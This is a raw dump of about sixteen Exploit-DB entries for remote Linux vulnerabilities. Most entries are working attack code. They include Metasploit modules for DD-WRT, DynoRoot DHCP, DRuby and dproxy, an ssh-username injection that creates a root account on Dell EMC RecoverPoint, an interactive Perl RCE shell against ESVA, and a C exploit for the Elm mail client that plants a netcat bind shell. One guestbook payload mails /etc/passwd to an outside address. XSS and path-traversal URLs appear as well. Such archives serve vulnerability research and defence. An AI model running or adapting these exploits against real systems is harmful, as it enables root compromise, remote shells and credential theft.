deardaniel/secdata-raw huggingface dataset:
Exploit-DB #10030
Description: DD-WRT HTTP v24-SP1 - Command Injection
Type: remote
Platform: linux
Date: 2009-07-20
Author: H D Moore

Exploit:
##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,	
			'Name'           => 'DD-WRT HTTP Daemon Arbitrary Command Execution',
			'Description'    => %q{
				This module abuses a metacharacter injection vulnerability in the
			HTTP management server of wireless gateways running DD-WRT. This flaw
			allows an unauthenticated attacker to execute arbitrary commands as
			the root user account.
			},
			'Author'         => [ 'gat3way', 'hdm' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision$',
			'References'     =>
				[
					[ 'CVE', '2009-2765'],
					[ 'OSVDB', '55990' ],
					[ 'BID', '35742' ],
					[ 'URL', 'http://www.milw0rm.com/exploits/9209'],

				],
			'Platform'       => ['unix'],
			'Arch'           => ARCH_CMD,				
			'Privileged'     => false,
			'Payload'        =>
				{
					'Space'       => 1024,
					'DisableNops' => true,
					'Compat'      =>
						{
							'RequiredCmd' => 'generic netcat-e'
						}
				},
			'Targets'        => 
				[
					[ 'Automatic Target', { }]
				],
			'DefaultTarget' => 0))
			
			register_options(
				[
					Opt::RPORT(80)
				], self.class)
	end
	
	def exploit
		connect

		cmd = payload.encoded.unpack("C*").map{|c| "\\x%.2x" % c}
		str = "echo${IFS}-ne${IFS}\"#{cmd}\"|/bin/sh&"
		req = 
			"GET /cgi-bin/;#{str} HTTP/1.1\r\n" +
			"Host: #{rhost}\r\n" +
			"Content-Length: 0\r\n\r\n"
		
		print_status("Sending GET request with encoded command line...")
		sock.put(req)
		
		handler
		disconnect
	end

end
Exploit-DB #19253
Description: Debian 2.1 - HTTPd
Type: remote
Platform: linux
Date: 1999-06-17
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/318/info


The Debian GNU/Linux 2.1 apache package by default allows anyone to view /usr/doc via the web, remotely. This is because srm.conf is preconfigured with the line:

Alias /doc/ /usr/doc/

Boa is also preconfigured this way. 


lynx http://some.host/doc

This will provide you with all of the information in /usr/doc, which could be used to find vulnerable software on the remote machine.
Exploit-DB #6094
Description: Debian OpenSSH - (Authenticated) Remote SELinux Privilege Escalation
Type: remote
Platform: linux
Date: 2008-07-17
Author: eliteboy

Exploit:
/* Debian (maybe other derivates |KUDUBUTUNTU|) OpenSSH Remote -=Authenticated=- SELinux Privilege Elevation
*** Fedora/RHEL Linux should be tested because it _MAY_ contain the same vulnerability
*** in it's OpenSSH patches in a time slice. Latest OpenSSH should not be vulnerable. Older Debian Releases may.
**** One vulnerable example is "openssh-SNAP-20070303.tar.gz", currently reachable at
****  ftp://ftp.bit.nl/mirror/openssh/openssh-SNAP-20070303.tar.gz
****
*** See the "Diff Patch" by Debian:
*** +		authctxt->role = role ? xstrdup(role) : NULL;
**** Where the role is defined in the username after a forward slash '/'
**** So anyone can set arbritrary SELinux roles, when OpenSSH is configured with --with-selinux - 
**** What is a common configuration nowadays.
**** For the kids:
***** ssh -lusername:[style]/<arbritrary SELinux role> host
***** ssh -p2222 -lusername:/wishedrole 127.0.0.1
**** ':' means [style] -> [[not relevant]] '/'<arbritrary SELinux role> is the specified SELinux role.
**** 
**** This seams to be a bug jailed in some distros because of legacy code.
****
**** 'Exploit' found and delivered by Kingcope.
***//Å½eliteb0yÅ½//
**** CHEERIO ****/
REM blablablaIHAVEPRETTYIDEAHOWSELINUXRUNSWORKSORWHATEVERblablabla

# milw0rm.com [2008-07-17]
Exploit-DB #44921
Description: Dell EMC RecoverPoint < 5.1.2 - Remote Root Command Execution
Type: remote
Platform: linux
Date: 2018-06-21
Author: Paul Taylor

Exploit:
# Exploit Title: Dell EMC RecoverPoint < 5.1.2 - Remote Root Command Execution
# Date: 2018-06-21
# Version: All versions before RP 5.1.2, and all versions before RP4VMs 5.1.1.3
# Exploit Author: Paul Taylor
# Vendor Advisory: DSA-2018-095
# Vendor KB: https://support.emc.com/kb/521234
# Github: https://github.com/bao7uo/dell-emc_recoverpoint
# Website: https://www.foregenix.com/blog/foregenix-identify-multiple-dellemc-recoverpoint-zero-day-vulnerabilities
# Tested on: RP4VMs 5.1.1.2, RP 5.1.SP1.P2
# CVE: CVE-2018-1235
 
# 1. Description
# An OS command injection vulnerability exists in the mechanism which processes usernames 
# which are presented for authentication, allowing unauthenticated root access via 
# the ssh service.
 
# 2. Proof of Concept
# Inject into ssh username.
# N.B. combined length of new username+password is limited to 21 due to injection length limitations

$ ssh '$(useradd -ou0 -g0 bao7uo -p`openssl passwd -1 Secret123`)'@192.168.57.3
Password: ^C
$ ssh bao7uo@192.168.57.3
[CREDENTIAL_REDACTED]
Could not chdir to home directory /home/bao7uo: No such file or directory
root@recoverpoint:/# id
uid=0(root) gid=0(root) groups=0(root)
root@recoverpoint:/#
Exploit-DB #44890
Description: DHCP Client - Command Injection 'DynoRoot' (Metasploit)
Type: remote
Platform: linux
Date: 2018-06-13
Author: Metasploit

Exploit:
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::DHCPServer

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'DHCP Client Command Injection (DynoRoot)',
      'Description'    => %q{
        This module exploits the DynoRoot vulnerability, a flaw in how the
         NetworkManager integration script included in the DHCP client in
         Red Hat Enterprise Linux 6 and 7, Fedora 28, and earlier
         processes DHCP options. A malicious DHCP server, or an attacker on
         the local network able to spoof DHCP responses, could use this flaw
         to execute arbitrary commands with root privileges on systems using
         NetworkManager and configured to obtain network configuration using
         the DHCP protocol.
      },
      'Author'         =>
        [
          'Felix Wilhelm', # Vulnerability discovery
          'Kevin Kirsche <d3c3pt10n[AT]deceiveyour.team>' # Metasploit module
        ],
      'License'        => MSF_LICENSE,
      'Platform'       => ['unix'],
      'Arch'           => ARCH_CMD,
      'Privileged'     => true,
      'References'     =>
        [
          ['AKA', 'DynoRoot'],
          ['CVE', '2018-1111'],
          ['EDB': '44652'],
          ['URL', 'https://github.com/kkirsche/CVE-2018-1111'],
          ['URL', 'https://twitter.com/_fel1x/status/[PII_REDACTED]73882626?lang=en'],
          ['URL', 'https://access.redhat.com/security/vulnerabilities/3442151'],
          ['URL', 'https://dynoroot.ninja/'],
          ['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2018-1111'],
          ['URL', 'https://www.tenable.com/blog/advisory-red-hat-dhcp-client-command-injection-trouble'],
          ['URL', 'https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-1111']
        ],
      'Targets'        => [ [ 'Automatic Target', { }] ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'May 15 2018'
    ))

    deregister_options('DOMAINNAME', 'HOSTNAME', 'URL', 'FILENAME')
  end

  def exploit
    hash = datastore.copy
    start_service(hash)
    @dhcp.set_option(proxy_auto_discovery: "#{Rex::Text.rand_text_alpha(6..12)}'&#{payload.encoded} #")

    begin
      while @dhcp.thread.alive?
        sleep 2
      end
    ensure
      stop_service
    end
  end
end
Exploit-DB #17031
Description: Distributed Ruby - send syscall (Metasploit)
Type: remote
Platform: linux
Date: 2011-03-23
Author: Metasploit

Exploit:
##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##

require 'msf/core'
require 'drb/drb'
class Metasploit3 < Msf::Exploit::Remote

	def initialize(info = {})
		super(update_info(info,	
			'Name'           => 'Distributed Ruby send syscall vulnerability.',
			'Description'    => %q{ This module exploits remote syscalls in DRuby
			},
			'Author'         => [ 'joernchen <joernchen@phenoelit.de> (Phenoelit)' ],
			'License'        => MSF_LICENSE,
			'Version'        => '',
			'References'     =>
				[
				],
			'Privileged'     => false,
			'Payload'        =>
				{
					'DisableNops' => true,
					'Compat'      => 
						{
							'PayloadType' => 'cmd',
						},
					'Space'       => 32768,
				},
			'Platform'       => 'linux',
			'Arch'           => ARCH_ALL,
			'Targets'        => [[ 'Automatic', { }]],
			'DefaultTarget' => 0))

			
			register_options(
				[
					OptString.new('URI', [true, "The druby URI of the target host ", ""]),
				], self.class)
	end

	def exploit
		serveruri = datastore['URI'] 
		DRb.start_service	
		p = DRbObject.new_with_uri(serveruri)
		class << p
			undef :send
		end
		filename = "." + Rex::Text.rand_text_alphanumeric(16)
		# syscall open
		i =  p.send(:syscall,8,filename,0700)
		#syscall write
		p.send(:syscall,4,i,"#!/bin/sh\n" << payload.encoded,payload.encoded.length + 10)
		#syscall close
		p.send(:syscall,6,i)
		#syscall fork
		p.send(:syscall,2)
		#syscall execve
		p.send(:syscall,11,filename,0,0)
	
		handler(nil)
	end
end
Exploit-DB #32825
Description: djbdns 1.05 - Long Response Packet Remote Cache Poisoning
Type: remote
Platform: linux
Date: 2009-02-27
Author: Matthew Dempsky

Exploit:
source: https://www.securityfocus.com/bid/33937/info

The 'djbdns' package is prone to a remote cache-poisoning vulnerability.

An attacker may leverage this issue to manipulate cache data, potentially facilitating man-in-the-middle, site-impersonation, or denial-of-service attacks.

This issue affects djbdns 1.05; other versions may also be vulnerable.

# Download and build ucspi-tcp-0.88.
$ curl -O http://cr.yp.to/ucspi-tcp/ucspi-tcp-0.88.tar.gz
$ tar -zxf ucspi-tcp-0.88.tar.gz
$ echo 'gcc -include /usr/include/errno.h -O' > ucspi-tcp-0.88/conf-cc
$ make -C ucspi-tcp-0.88

# Download and build djbdns-1.05.
$ curl -O http://cr.yp.to/djbdns/djbdns-1.05.tar.gz
$ tar -zxf djbdns-1.05.tar.gz
$ echo 'gcc -include /usr/include/errno.h -O' > djbdns-1.05/conf-cc
$ make -C djbdns-1.05

# Use tcpclient and axfr-get to do a zone transfer for
# www.example.com from www.example2.com.
$ ./ucspi-tcp-0.88/tcpclient www.example.com 53 ./djbdns-1.05/axfr-get www.example.com data data.tmp

# Use tinydns-data to compile data into data.cdb.
$ ./djbdns-1.05/tinydns-data

# Simulate an A query for www.example.com using the data
# from the zone transfer.
$ ./djbdns-1.05/tinydns-get a www.example.com
Exploit-DB #30543
Description: Doomsday Engine 1.8.6/1.9 - Multiple Remote Vulnerabilities
Type: remote
Platform: linux
Date: 2007-08-29
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/25483/info

Doomsday Engine is prone to multiple remote vulnerabilities, including multiple buffer-overflow issues, a denial-of-service issue, a format-string issue, and an integer-overflow issue.

An attacker can exploit these issues to execute arbitrary code within the context of the affected application or crash the application, denying service to legitimate users.

Doomsday Engine 1.90-beta5.1 is vulnerable; other versions may also be affected.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/30543.zip
Exploit-DB #3554
Description: dproxy 0.5 - Remote Buffer Overflow (Metasploit)
Type: remote
Platform: linux
Date: 2007-03-23
Author: Alexander Klink

Exploit:
# MetaSploit exploit for remote buffer overflow issue in dproxy
# Written in 2007 by Alexander Klink
# (c) 2007 Cynops GmbH
# released under the same license as MSF (Artistic, GPL dual-licensed)
# $Revision: 1.1 $

package Msf::Exploit::dproxy;
use strict;
use base 'Msf::Exploit';
use Msf::Socket::Udp;
use Pex::Text;

my $advanced = { };

my $info = {
    'Name'     => 'dproxy v0.1 - v0.5 buffer overflow exploit',
    'Version'  => '$Revision: 1.1 $',

    'Authors' => [ 'Alexander Klink, Cynops GmbH', ],
    'Arch'    => [ 'x86' ],
    'OS'      => [ 'linux'],
    'Priv'    => 0,

    'UserOpts'  => {
        'RHOST' => [1, 'ADDR', 'The target address'],
    },
    'Payload' => {
        'Space'     => 500,
        'BadChars'  => "\x00",
    },
    'Description'  => Pex::Text::Freeform(qq{
      This exploits a buffer overflow in dproxy version 0.1 to 0.5.
    }),
    'Refs' => [
        [ 'CVE', '2007-1465' ],
    ],

    'DefaultTarget' => 0,
    'Targets' => [
        ['Linux', 0xbfffe480],
    ],
    'Keys' => [ 'dproxy' ],
    'DisclosureDate' => 'Mar 20 2007',
};

sub new {
    my $class = shift;
    my $self = $class->SUPER::new(
        {
          'Info'     => $info,
          'Advanced' => $advanced
        }, @_
    );

    return $self;
}

sub Exploit {
  my $self = shift;

  my $targetHost     = $self->GetVar('RHOST');
  my $targetPort     = 53;
  my $targetIndex    = $self->GetVar('TARGET');
  my $srcPort        = $self->GetVar('CPORT');
  my $encodedPayload = $self->GetVar('EncodedPayload');
  my $shellcode      = $encodedPayload->Payload;
  my $target         = $self->Targets->[$targetIndex];

  if (! $self->InitNops(512)) {
      $self->PrintLine("Could not initialize the nop module");
      return;
  }
  my $sock = Msf::Socket::Udp->new(
    'PeerAddr'  => $targetHost,
    'PeerPort'  => $targetPort,
    'LocalPort' => $srcPort,
  );
  if($sock->IsError) {
    $self->PrintLine('Error creating socket: ' . $sock->GetError);
    return;
  }

  $self->PrintLine('Trying ' . $target->[0] . ' (' . $targetHost . ')');

  my $evil = 'A' x 1000 . $self->MakeNops(500) . $shellcode
      . 'A' x (2073 - 1500 - length($shellcode)) . pack('V', $target->[1]);

  $sock->Send($evil);

  return;
}

1;

# milw0rm.com [2007-03-23]
Exploit-DB #21586
Description: E-Guest 1.1 - Server Side Include Arbitrary Command Execution
Type: remote
Platform: linux
Date: 2002-06-30
Author: DownBload

Exploit:
source: https://www.securityfocus.com/bid/5129/info

E-Guest guest book is a freely available, open source guest book. It is designed for Unix and Linux operating systems.

E-Guest does not adequately sanitize user-supplied input in guest book entries. Because of this, it is possible to pass along commands via server-side includes that could allow a remote user to execute commands on the local host.

Full Name: HI<!--#exec cmd="/bin/mail downbload@hotmail.com < /etc/passwd"-->
Exploit-DB #20551
Description: E-Mail Security Virtual Appliance (ESVA) - Remote Execution
Type: remote
Platform: linux
Date: 2012-08-16
Author: iJoo

Exploit:
# Exploit Title: E-Mail Security Virtual Appliance (ESVA) Remote Execution.
# Date: 10 Aug 2012
# Exploit Author: iJoo
# Vendor Homepage: http://www.esvacommunity.com/
# Software Link: http://sourceforge.net/projects/esva-project/
# Version: < 2.0.6

ESVA (E-Mail Security Virtual Appliance) is a pre-built and semi-configured email scanning appliance that will run on VMware Workstation, Server, Player or ESX Server.

-=+ Infected Files

..../cgi-bin/learn-msg.cgi
..../cgi-bin/release-msg.cgi

Not found any strips/filter to metacharacters..
Attacker can easily execute command..

-=+ Simple RCE ESVA

#! /usr/bin/perl
use LWP;
use HTTP::Request;
if (@ARGV < 1)
{
print "\n==========================================\n";
print "   ESVA - REMOTE EXECUTION SCRIPT \n";
print "==========================================\n";
print "Usage: perl esva.pl host (without http://)\n";
print "Ex. perl esva.pl www.korban.com\n";
exit;
}
$host=$ARGV[0];
print "Try to Execution Command!\n";
print "iDSc-shell# ";
chomp( $cmd = <STDIN>);
while($cmd !~ "exit")
{
$content = "";
$ua = LWP::UserAgent->new();
$ua->agent('');
$request = HTTP::Request->new (GET => "http://".$host."/cgi-bin/learn-msg.cgi?id=%7c".$cmd."%3b");
$response = $ua->request ($request);
$content = $response->content;
print $content."\n";
print "iDSc-shell# ";
chomp( $cmd = <STDIN>);
}

-=+ Thanks to
My lovely Country NKRI INDONESIA!!
binh4x staff - www.binushacker.net // Forum.binushacker.net
Exploit-DB #34999
Description: Eclipse 3.6.1 - Help Server 'help/advanced/content.jsp' Cross-Site Scripting
Type: remote
Platform: linux
Date: 2010-11-16
Author: Aung Khant

Exploit:
source: https://www.securityfocus.com/bid/44883/info
 
Eclipse IDE Help component is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.
 
http://localhost:[REPLACE]/help/advanced/content.jsp?'onload='alert(0)
Exploit-DB #34998
Description: Eclipse 3.6.1 - Help Server 'help/index.jsp' Cross-Site Scripting
Type: remote
Platform: linux
Date: 2010-11-16
Author: Aung Khant

Exploit:
source: https://www.securityfocus.com/bid/44883/info

Eclipse IDE Help component is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks. 

http://localhost:[REPLACE]/help/index.jsp?'onload='alert(0)
Exploit-DB #1171
Description: Elm < 2.5.8 - Expires Header Remote Buffer Overflow
Type: remote
Platform: linux
Date: 2005-08-22
Author: c0ntex

Exploit:
/*

  Exploit code for the bug posted by Ulf Harnhammar (metaurtelia.com)
  http://archives.neohapsis.com/archives/fulldisclosure/2005-08/0688.html

  Probably you will need to change SYSLOC and STRLOC to work on your box

*/


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define BUFFER 83
#define EMAIL  "tmpmail"
#define STRING "`nc -l -p 12345 -e /bin/sh`&##"
#define SYSLOC 0x42041e50
#define STRLOC 0x4001a207
#define EXTLOC 0x4202b0f0

char expire[]="\x45\x78\x70\x69\x72\x65\x73\x3A\x20";

int main(int argc, char **argv)
{
      char buffer[BUFFER];
      char *email = NULL;
      char *user = NULL;
      int i;
      long extloc, sysloc, strloc;
      FILE *fp;

      if(argc != 2) {
        puts("Usage: ./elmex <user@where.com>");
        exit(EXIT_FAILURE);
      }

      if(strlen(argv[1]) > 50) {
              puts("[-] Sorry, email address too long!");
              exit(EXIT_FAILURE);
      }

      user = (char *)malloc(strlen(argv[1]));
      if(!user) {
              perror("malloc");
              exit(EXIT_FAILURE);
      }

      email = EMAIL;

      memset(user, '\0', strlen(argv[1]));
      memcpy(user, argv[1], strlen(argv[1]));

      puts("\nExploit for elm email client < 2.5.8 overflow in Expires field");
      puts("Tested: Redhat on quiet a Sunday by c0ntex[at]open-security.org\n");

      extloc = EXTLOC;
      sysloc = SYSLOC;
      strloc = STRLOC;

      memset(buffer, '\0', BUFFER);
      memcpy(buffer, expire, strlen(expire));

      for(i = strlen(expire); i < 53; i++)
              *(buffer+i) = 0x41;
      for(i = 53; i < 57; i += 4)
              *(long *)&buffer[i] = sysloc;
      for(i = 57; i < 61; i++)
              *(long *)&buffer[i] = extloc;
      for(i = 61; i < 65; i += 4)
              *(long *)&buffer[i] = strloc;

      memcpy(&buffer[65], STRING, strlen(STRING));
      buffer[BUFFER] = '\0';

      puts("[-] Adding exploit buffer to email");

      fp = fopen(email, "w");
      if(!fp) {
              perror("fopen"); free(user);
              exit(EXIT_FAILURE);
      }

      fprintf(fp,
               "From: User c0ntex <c0ntex@open-security.org> Sun Aug 21 13:37:00 2005\n"
               "Return-Path: <c0ntex@localhost\n"
               "Date: Sun, 21 Aug 2005 13:37:00 %s\n"
               "Subject: Insecure?\n"
               "To: %s\n"
               "%s\n", STRING, user, buffer);
      fclose(fp);

      printf("[-] Emailing %s with malicious content\n", argv[1]);

      if(system("/bin/cat ./tmpmail | /usr/sbin/sendmail -t") <0) {
              perror("system");  free(user);
              exit(EXIT_FAILURE);
      }

      puts("[-] Connect to system on port 12345 to get your shell\n");

      if(unlink(EMAIL) <0)
              perror("unlink");

      free(user);

      return EXIT_SUCCESS;
}

// milw0rm.com [2005-08-22]
Exploit-DB #26101
Description: EMC Navisphere Manager 6.x - Directory Traversal / Information Disclosure
Type: remote
Platform: linux
Date: 2005-08-05
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/14487/info

EMC Navisphere Manager is affected by directory traversal and information disclosure vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

A remote unauthorized user can disclose the contents of arbitrary local files through the use of directory traversal strings '../'. An attacker can also obtain the contents of arbitrary directories by appending a '.' to the end of a request. Exploitation of these vulnerabilities could lead to a loss of confidentiality and information disclosure. 

http://www.example.com/../../../../../../../EMC/NAVISPHERE/common/log/navimon.log
http://www.example.com/.
Exploit-DB #23881
Description: Emil 2.x - Multiple Buffer Overrun / Format String Vulnerabilities
Type: remote
Platform: linux
Date: 2004-03-25
Author: Ulf Harnhammar

Exploit:
source: https://www.securityfocus.com/bid/9974/info

Multiple locally and remotely exploitable buffer overrun and format strings were reported in emil. This could permit execution of arbitrary code in the context of the software.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/23881.tar.gz